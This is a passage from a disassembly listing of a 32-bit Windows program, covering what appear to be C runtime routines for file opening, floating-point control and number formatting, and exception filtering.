loc_42015C ; --------------------------------------------------------------------------- loc_41FF37: ; CODE XREF: sub_41FEC6+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_41FF50 ; --------------------------------------------------------------------------- loc_41FF40: ; CODE XREF: sub_41FEC6+57j mov [ebp+var_C], 40000000h jmp short loc_41FF50 ; --------------------------------------------------------------------------- loc_41FF49: ; CODE XREF: sub_41FEC6+54j mov [ebp+var_C], 80000000h loc_41FF50: ; CODE XREF: sub_41FEC6+78j ; sub_41FEC6+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41FF7E cmp eax, 20h jz short loc_41FF75 cmp eax, 30h jz short loc_41FF6C cmp eax, 40h jnz short loc_41FF22 mov [ebp+var_10], esi jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF6C: ; CODE XREF: sub_41FEC6+9Aj mov [ebp+var_10], 2 jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF75: ; CODE XREF: sub_41FEC6+95j mov [ebp+var_10], 1 jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF7E: ; CODE XREF: sub_41FEC6+90j mov [ebp+var_10], ebx loc_41FF81: ; CODE XREF: sub_41FEC6+A4j ; sub_41FEC6+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41FFCB jz short loc_41FFC6 cmp ecx, ebx jz short loc_41FFC6 cmp ecx, edi jz short loc_41FFBD cmp ecx, 200h jz short loc_41FFE4 cmp ecx, 300h jnz loc_41FF22 mov [ebp+var_8], 2 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFBD: ; CODE XREF: sub_41FEC6+D8j mov [ebp+var_8], 4 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFC6: ; CODE XREF: sub_41FEC6+D0j ; sub_41FEC6+D4j mov [ebp+var_8], esi jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFCB: ; CODE XREF: sub_41FEC6+CEj cmp ecx, 500h jz short loc_41FFED cmp ecx, 600h jz short loc_41FFE4 cmp ecx, edx jz short loc_41FFED jmp loc_41FF22 ; --------------------------------------------------------------------------- loc_41FFE4: ; CODE XREF: sub_41FEC6+E0j ; sub_41FEC6+113j mov [ebp+var_8], 5 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFED: ; CODE XREF: sub_41FEC6+10Bj ; sub_41FEC6+117j mov [ebp+var_8], 1 loc_41FFF4: ; CODE XREF: sub_41FEC6+F5j ; sub_41FEC6+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_420013 mov ecx, dword_4CD9BC not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_420013 push 1 pop esi loc_420013: ; CODE XREF: sub_41FEC6+138j ; sub_41FEC6+148j test al, 40h jz short loc_420021 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_420021: ; CODE XREF: sub_41FEC6+14Fj test ah, 10h jz short loc_420028 or esi, edi loc_420028: ; CODE XREF: sub_41FEC6+15Ej test al, 20h jz short loc_420034 or esi, 8000000h jmp short loc_42003E ; --------------------------------------------------------------------------- loc_420034: ; CODE XREF: sub_41FEC6+164j test al, 10h jz short loc_42003E or esi, 10000000h loc_42003E: ; CODE XREF: sub_41FEC6+16Cj ; sub_41FEC6+170j call sub_41FCAC mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_42005F loc_42004C: ; DATA XREF: ___:00427A84o ; ___:00427A90o and dword_4CD9B8, 0 mov dword_4CD9B4, 18h jmp short loc_42009D ; --------------------------------------------------------------------------- loc_42005F: ; CODE XREF: sub_41FEC6+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 26508D5h mov esi, eax cmp esi, edi jz short loc_420090 push esi nop call near ptr 2600000h test eax, eax jnz short loc_4200A4 push esi nop call near ptr 26318FCh loc_420090: ; CODE XREF: sub_41FEC6+1B6j nop call near ptr 2650C0Ah push eax call sub_41EF44 pop ecx loc_42009D: ; CODE XREF: sub_41FEC6+197j mov eax, edi jmp loc_42017A ; --------------------------------------------------------------------------- loc_4200A4: ; CODE XREF: sub_41FEC6+1C1j cmp eax, 2 jnz short loc_4200AF or [ebp+var_1], 40h jmp short loc_4200B8 ; --------------------------------------------------------------------------- loc_4200AF: ; CODE XREF: sub_41FEC6+1E1j cmp eax, 3 jnz short loc_4200B8 or [ebp+var_1], 8 loc_4200B8: ; CODE XREF: sub_41FEC6+1E7j ; sub_41FEC6+1ECj push esi push ebx call sub_41FD41 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4CECE0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_420161 test al, 80h jz short loc_420161 test byte ptr [ebp+arg_4], 2 jz short loc_420161 push 2 push 0FFFFFFFFh push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_420116 cmp dword_4CD9B8, 83h jz short loc_420161 jmp short loc_420155 ; --------------------------------------------------------------------------- loc_420116: ; CODE XREF: sub_41FEC6+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41E321 add esp, 0Ch test eax, eax jnz short loc_420143 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_420143 push [ebp+var_10] push ebx call sub_4211F1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_420155 loc_420143: ; CODE XREF: sub_41FEC6+265j ; sub_41FEC6+26Bj push 0 push 0 push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_420161 loc_420155: ; CODE XREF: sub_41FEC6+24Ej ; sub_41FEC6+27Bj push ebx call sub_41A6B7 pop ecx loc_42015C: ; CODE XREF: sub_41FEC6+6Cj or eax, 0FFFFFFFFh jmp short loc_42017A ; --------------------------------------------------------------------------- loc_420161: ; CODE XREF: sub_41FEC6+221j ; sub_41FEC6+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_420178 test byte ptr [ebp+arg_4], 8 jz short loc_420178 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_420178: ; CODE XREF: sub_41FEC6+29Fj ; sub_41FEC6+2A5j mov eax, ebx loc_42017A: ; CODE XREF: sub_41FEC6+1D9j ; sub_41FEC6+299j pop edi pop esi pop ebx leave retn sub_41FEC6 endp ; =============== S U B R O U T I N E ======================================= sub_42017F proc near ; CODE XREF: sub_41C50A+52p xor eax, eax retn sub_42017F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420182 proc near ; CODE XREF: sub_4201B7+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_4201CD mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42025F pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_420182 endp ; =============== S U B R O U T I N E ======================================= sub_4201B7 proc near ; CODE XREF: sub_41C7F6+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_420182 pop ecx pop ecx retn sub_4201B7 endp ; =============== S U B R O U T I N E ======================================= sub_4201CD proc near ; CODE XREF: sub_420182+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_4201DE push 10h pop eax loc_4201DE: ; CODE XREF: sub_4201CD+Cj test bl, 4 jz short loc_4201E5 or al, 8 loc_4201E5: ; CODE XREF: sub_4201CD+14j test bl, 8 jz short loc_4201EC or al, 4 loc_4201EC: ; CODE XREF: sub_4201CD+1Bj test bl, 10h jz short loc_4201F3 or al, 2 loc_4201F3: ; CODE XREF: sub_4201CD+22j test bl, 20h jz short loc_4201FA or al, 1 loc_4201FA: ; CODE XREF: sub_4201CD+29j test bl, 2 jz short loc_420204 or eax, 80000h loc_420204: ; CODE XREF: sub_4201CD+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_42023C cmp edx, 400h jz short loc_420239 cmp edx, 800h jz short loc_420235 cmp edx, esi jnz short loc_42023C or eax, edi jmp short loc_42023C ; --------------------------------------------------------------------------- loc_420235: ; CODE XREF: sub_4201CD+5Ej or eax, ebp jmp short loc_42023C ; --------------------------------------------------------------------------- loc_420239: ; CODE XREF: sub_4201CD+56j or ah, 1 loc_42023C: ; CODE XREF: sub_4201CD+4Ej ; sub_4201CD+62j ... and ecx, edi pop esi jz short loc_42024C cmp ecx, ebp jnz short loc_420251 or eax, 10000h jmp short loc_420251 ; --------------------------------------------------------------------------- loc_42024C: ; CODE XREF: sub_4201CD+72j or eax, 20000h loc_420251: ; CODE XREF: sub_4201CD+76j ; sub_4201CD+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42025E or eax, 40000h locret_42025E: ; CODE XREF: sub_4201CD+8Aj retn sub_4201CD endp ; =============== S U B R O U T I N E ======================================= sub_42025F proc near ; CODE XREF: sub_420182+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42026F push 1 pop eax loc_42026F: ; CODE XREF: sub_42025F+Bj test bl, 8 jz short loc_420276 or al, 4 loc_420276: ; CODE XREF: sub_42025F+13j test bl, 4 jz short loc_42027D or al, 8 loc_42027D: ; CODE XREF: sub_42025F+1Aj test bl, 2 jz short loc_420284 or al, 10h loc_420284: ; CODE XREF: sub_42025F+21j test bl, 1 jz short loc_42028B or al, 20h loc_42028B: ; CODE XREF: sub_42025F+28j test ebx, 80000h jz short loc_420295 or al, 2 loc_420295: ; CODE XREF: sub_42025F+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_4202C2 cmp ecx, 100h jz short loc_4202BF cmp ecx, esi jz short loc_4202BA cmp ecx, edx jnz short loc_4202C2 or ah, 0Ch jmp short loc_4202C2 ; --------------------------------------------------------------------------- loc_4202BA: ; CODE XREF: sub_42025F+50j or ah, 8 jmp short loc_4202C2 ; --------------------------------------------------------------------------- loc_4202BF: ; CODE XREF: sub_42025F+4Cj or ah, 4 loc_4202C2: ; CODE XREF: sub_42025F+44j ; sub_42025F+54j ... mov ecx, ebx and ecx, 30000h jz short loc_4202D8 cmp ecx, 10000h jnz short loc_4202DA or eax, esi jmp short loc_4202DA ; --------------------------------------------------------------------------- loc_4202D8: ; CODE XREF: sub_42025F+6Bj or eax, edx loc_4202DA: ; CODE XREF: sub_42025F+73j ; sub_42025F+77j pop esi test ebx, 40000h pop ebx jz short locret_4202E7 or ah, 10h locret_4202E7: ; CODE XREF: sub_42025F+83j retn sub_42025F endp ; =============== S U B R O U T I N E ======================================= sub_4202E8 proc near ; CODE XREF: sub_420387+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_42032D inc esi cmp esi, 3 jge short loc_420328 lea eax, [eax+esi*4] loc_42031A: ; CODE XREF: sub_4202E8+3Ej cmp dword ptr [eax], 0 jnz short loc_42032D inc esi add eax, 4 cmp esi, 3 jl short loc_42031A loc_420328: ; CODE XREF: sub_4202E8+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_42032D: ; CODE XREF: sub_4202E8+27j ; sub_4202E8+35j xor eax, eax pop esi retn sub_4202E8 endp ; =============== S U B R O U T I N E ======================================= sub_420331 proc near ; CODE XREF: sub_420387+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_421337 add esp, 0Ch dec esi js short loc_420383 lea edi, [ebx+esi*4] loc_42036A: ; CODE XREF: sub_420331+50j test eax, eax jz short loc_420383 push edi push 1 push dword ptr [edi] call sub_421337 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_42036A loc_420383: ; CODE XREF: sub_420331+34j ; sub_420331+3Bj pop edi pop esi pop ebx retn sub_420331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420387 proc near ; CODE XREF: sub_4204E2+81p ; sub_4204E2+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_4203EB inc ebx push ebx push [ebp+arg_0] call sub_4202E8 pop ecx test eax, eax pop ecx jnz short loc_4203E8 push edi push [ebp+arg_0] call sub_420331 pop ecx mov [ebp+var_4], eax pop ecx loc_4203E8: ; CODE XREF: sub_420387+51j mov eax, [ebp+arg_4] loc_4203EB: ; CODE XREF: sub_420387+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_42040B mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_42040B: ; CODE XREF: sub_420387+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_420387 endp ; =============== S U B R O U T I N E ======================================= sub_420413 proc near ; CODE XREF: sub_4204E2+75p ; sub_4204E2+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_420421: ; CODE XREF: sub_420413+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_420421 pop esi retn sub_420413 endp ; =============== S U B R O U T I N E ======================================= sub_42042E proc near ; CODE XREF: sub_4204E2+5Fp ; sub_4204E2+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_42042E endp ; =============== S U B R O U T I N E ======================================= sub_42043A proc near ; CODE XREF: sub_4204E2+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_420440: ; CODE XREF: sub_42043A+12j cmp dword ptr [eax], 0 jnz short loc_420452 inc ecx add eax, 4 cmp ecx, 3 jl short loc_420440 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_420452: ; CODE XREF: sub_42043A+9j xor eax, eax retn sub_42043A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420455 proc near ; CODE XREF: sub_4204E2+C0p ; sub_4204E2+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_42048B: ; CODE XREF: sub_420455+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_42048B mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_4204BD: ; CODE XREF: sub_420455+86j cmp ebx, edi jl short loc_4204D0 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_4204D7 ; --------------------------------------------------------------------------- loc_4204D0: ; CODE XREF: sub_420455+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_4204D7: ; CODE XREF: sub_420455+79j dec ebx sub ecx, 4 jns short loc_4204BD pop edi pop esi pop ebx leave retn sub_420455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4204E2 proc near ; CODE XREF: sub_42064E+Dp ; sub_420664+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_42054F lea eax, [ebp+var_C] xor esi, esi push eax call sub_42043A test eax, eax pop ecx jnz loc_42060E lea eax, [ebp+var_C] push eax call sub_42042E pop ecx loc_420547: ; CODE XREF: sub_4204E2+E4j push 2 loc_420549: ; CODE XREF: sub_4204E2+110j pop eax jmp loc_420610 ; --------------------------------------------------------------------------- loc_42054F: ; CODE XREF: sub_4204E2+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_420413 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_420387 add esp, 10h test eax, eax jz short loc_420570 inc ebx loc_420570: ; CODE XREF: sub_4204E2+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_420588 lea eax, [ebp+var_C] push eax call sub_42042E pop ecx jmp short loc_4205C4 ; --------------------------------------------------------------------------- loc_420588: ; CODE XREF: sub_4204E2+98j cmp ebx, eax jg short loc_4205CB sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_420413 lea eax, [ebp+var_C] push esi push eax call sub_420455 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_420387 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_420455 add esp, 20h loc_4205C4: ; CODE XREF: sub_4204E2+A4j xor esi, esi jmp loc_420547 ; --------------------------------------------------------------------------- loc_4205CB: ; CODE XREF: sub_4204E2+A8j cmp ebx, [edi] jl short loc_4205F7 lea eax, [ebp+var_C] push eax call sub_42042E push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_420455 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_420549 ; --------------------------------------------------------------------------- loc_4205F7: ; CODE XREF: sub_4204E2+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_420455 pop ecx pop ecx loc_42060E: ; CODE XREF: sub_4204E2+55j xor eax, eax loc_420610: ; CODE XREF: sub_4204E2+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_42063F mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_420649 ; --------------------------------------------------------------------------- loc_42063F: ; CODE XREF: sub_4204E2+14Ej cmp edi, 20h jnz short loc_420649 mov ecx, [ebp+arg_4] mov [ecx], esi loc_420649: ; CODE XREF: sub_4204E2+15Bj ; sub_4204E2+160j pop edi pop esi pop ebx leave retn sub_4204E2 endp ; =============== S U B R O U T I N E ======================================= sub_42064E proc near ; CODE XREF: sub_42067A+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_436610 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4204E2 add esp, 0Ch retn sub_42064E endp ; =============== S U B R O U T I N E ======================================= sub_420664 proc near ; CODE XREF: sub_4206A7+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_436628 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4204E2 add esp, 0Ch retn sub_420664 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42067A proc near ; CODE XREF: sub_41C92F+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4214D8 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_42064E add esp, 24h leave retn sub_42067A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206A7 proc near ; CODE XREF: sub_41C92F+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4214D8 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_420664 add esp, 24h leave retn sub_4206A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206D4 proc near ; CODE XREF: sub_41C96D+65p ; sub_41CA71+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_420711 mov [ebp+arg_0], ebx xor ebx, ebx loc_4206F7: ; CODE XREF: sub_4206D4+38j mov dl, [ecx] test dl, dl jz short loc_420703 movsx edx, dl inc ecx jmp short loc_420706 ; --------------------------------------------------------------------------- loc_420703: ; CODE XREF: sub_4206D4+27j push 30h pop edx loc_420706: ; CODE XREF: sub_4206D4+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_4206F7 mov edx, [ebp+arg_8] loc_420711: ; CODE XREF: sub_4206D4+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_42072A cmp byte ptr [ecx], 35h jl short loc_42072A loc_42071D: ; CODE XREF: sub_4206D4+52j dec eax cmp byte ptr [eax], 39h jnz short loc_420728 mov byte ptr [eax], 30h jmp short loc_42071D ; --------------------------------------------------------------------------- loc_420728: ; CODE XREF: sub_4206D4+4Dj inc byte ptr [eax] loc_42072A: ; CODE XREF: sub_4206D4+42j ; sub_4206D4+47j cmp byte ptr [esi], 31h jnz short loc_420734 inc dword ptr [edx+4] jmp short loc_420746 ; --------------------------------------------------------------------------- loc_420734: ; CODE XREF: sub_4206D4+59j push edi call sub_417AB0 inc eax push eax push edi push esi call sub_4182C0 add esp, 10h loc_420746: ; CODE XREF: sub_4206D4+5Ej pop edi pop esi pop ebx pop ebp retn sub_4206D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42074B proc near ; CODE XREF: sub_41C96D+3Fp ; sub_41CA71+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_4207AF pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4CDB88 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4219A9 mov dword_4CDBB0, eax add esp, 18h movsx eax, byte_4CDB8A mov dword_4CDBA8, eax pop edi movsx eax, word_4CDB88 mov dword_4CDBAC, eax mov dword_4CDBB4, offset dword_4CDB8C mov eax, offset dword_4CDBA8 pop esi leave retn sub_42074B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4207AF proc near ; CODE XREF: sub_42074B+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_4207FD cmp ebx, edi jz short loc_4207F6 lea edi, [ecx+3C00h] jmp short loc_42081E ; --------------------------------------------------------------------------- loc_4207F6: ; CODE XREF: sub_4207AF+3Dj mov edi, 7FFFh jmp short loc_42081E ; --------------------------------------------------------------------------- loc_4207FD: ; CODE XREF: sub_4207AF+39j xor ebx, ebx cmp eax, ebx jnz short loc_420815 cmp edx, ebx jnz short loc_420815 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_420860 ; --------------------------------------------------------------------------- loc_420815: ; CODE XREF: sub_4207AF+52j ; sub_4207AF+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_42081E: ; CODE XREF: sub_4207AF+45j ; sub_4207AF+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_420836: ; CODE XREF: sub_4207AF+A6j test ecx, esi jnz short loc_420857 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_420836 ; --------------------------------------------------------------------------- loc_420857: ; CODE XREF: sub_4207AF+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_420860: ; CODE XREF: sub_4207AF+64j pop edi pop esi pop ebx leave retn sub_4207AF endp ; --------------------------------------------------------------------------- push 2 call sub_419CDA pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42086E proc near ; DATA XREF: ___:00435FE8o ; ___:00436AB0o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_420891 cmp dword ptr [eax+10h], 3 jnz short loc_420891 cmp dword ptr [eax+14h], 19930520h jnz short loc_420891 jmp sub_41D4FC ; --------------------------------------------------------------------------- loc_420891: ; CODE XREF: sub_42086E+Dj ; sub_42086E+13j ... mov eax, dword_4CDBB8 test eax, eax jz short loc_4208AE push eax call sub_42090A test eax, eax pop ecx jz short loc_4208AE push esi call dword_4CDBB8 jmp short loc_4208B0 ; --------------------------------------------------------------------------- loc_4208AE: ; CODE XREF: sub_42086E+2Aj ; sub_42086E+35j xor eax, eax loc_4208B0: ; CODE XREF: sub_42086E+3Ej pop esi retn 4 sub_42086E endp ; --------------------------------------------------------------------------- dword_4208B4 dd 42086E68h, 0F742E800h, 0A390021Bh, 4CDBB8h, 0B835FFC3h ; DATA XREF: ___:00426024o dd 90004CDBh, 1BF72FE8h ; --------------------------------------------------------------------------- add al, bl ; =============== S U B R O U T I N E ======================================= sub_4208D2 proc near ; CODE XREF: sub_41CD45+6Bp ; sub_41D256+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 25D0B55h nop test eax, eax jz short loc_4208EA xor esi, esi loc_4208EA: ; CODE XREF: sub_4208D2+14j mov eax, esi pop esi retn sub_4208D2 endp ; =============== S U B R O U T I N E ======================================= sub_4208EE proc near ; CODE XREF: sub_41D256+73p ; sub_41D256+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2840823h test eax, eax jz short loc_420906 xor esi, esi loc_420906: ; CODE XREF: sub_4208EE+14j mov eax, esi pop esi retn sub_4208EE endp ; =============== S U B R O U T I N E ======================================= sub_42090A proc near ; CODE XREF: sub_41D256+15Bp ; sub_42086E+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25D0AE8h test eax, eax jz short loc_42091E xor esi, esi loc_42091E: ; CODE XREF: sub_42090A+10j mov eax, esi pop esi retn sub_42090A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D4FC loc_420922: ; CODE XREF: sub_41D4FC:loc_41D54Dj push 0Ah call sub_41F885 push 16h call sub_421C3C pop ecx pop 